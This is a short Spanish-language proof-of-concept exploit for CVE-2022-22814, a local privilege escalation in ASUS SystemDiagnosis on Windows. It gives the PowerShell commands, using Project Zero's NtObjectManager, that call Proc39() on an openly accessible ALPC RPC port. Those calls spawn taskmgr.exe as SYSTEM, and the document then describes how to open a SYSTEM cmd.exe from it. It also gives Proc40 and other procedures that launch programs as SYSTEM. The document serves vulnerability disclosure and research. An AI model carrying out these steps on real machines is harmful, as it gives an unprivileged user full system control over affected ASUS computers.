
Exploit de prueba de concepto para CVE-2022-22814 que demuestra escalada de privilegios local en Windows a través de la interfaz vulnerable ASUS SystemDiagnosis ALPC RPC.
Escalada de Privilegios - AsusSystemDiagnosis.exe - Proc39()
Ruta completa: C:\WINDOWS\System32\DriverStore\FileRepository\asussci2.inf_amd64_d385bdc0d33d66f9\ASUSSystemDiagnosis\AsusSystemDiagnosis.exe
Problema:
El puerto ALPC \RPC Control\ASHWTestServer, expuesto por AsusSystemDiagnosis.exe, es totalmente accesible para cualquier usuario. Llamar a Proc39() a través de RPC mediante este puerto genera un proceso taskmgr.exe como SYSTEM en la sesión del usuario actual.
Explotación:
Utilizando la herramienta RPC NtObjectManager de Project Zero desde https://github.com/googleprojectzero/sandbox-attacksurface-analysis-tools (asegúrate de usar la versión compilada) se puede conectar al puerto RPC vulnerable, momento en el cual se puede llamar a Proc39(). Una vez que se genera el proceso taskmgr.exe como SYSTEM, se puede crear un shell cmd.exe utilizando la funcionalidad "Ejecutar nueva tarea" a través del menú contextual, Archivo > Ejecutar nueva tarea > cmd.exe.
NtObjectManager:
$server = get-rpcserver C:\WINDOWS\System32\DriverStore\FileRepository\asussci2.inf_amd64_d385bdc0d33d66f9\ASUSSystemDiagnosis\AsusSystemDiagnosis.exe
$client = get-rpcclient $server
$client.connect()
$client.Proc39()
Escalada de Privilegios - AsusSystemDiagnosis.exe - Proc40()
Igual que el anterior pero genera mmc.exe como SYSTEM. Se puede crear una nueva tarea o usar la funcionalidad de exploración para abrir una ventana de explorer.exe y ejecutar cmd.exe desde la barra de direcciones.
Notas adicionales:
Proc53() - genera systemreset.exe como SYSTEM Proc54() - genera RecoveryDrive.exe como SYSTEM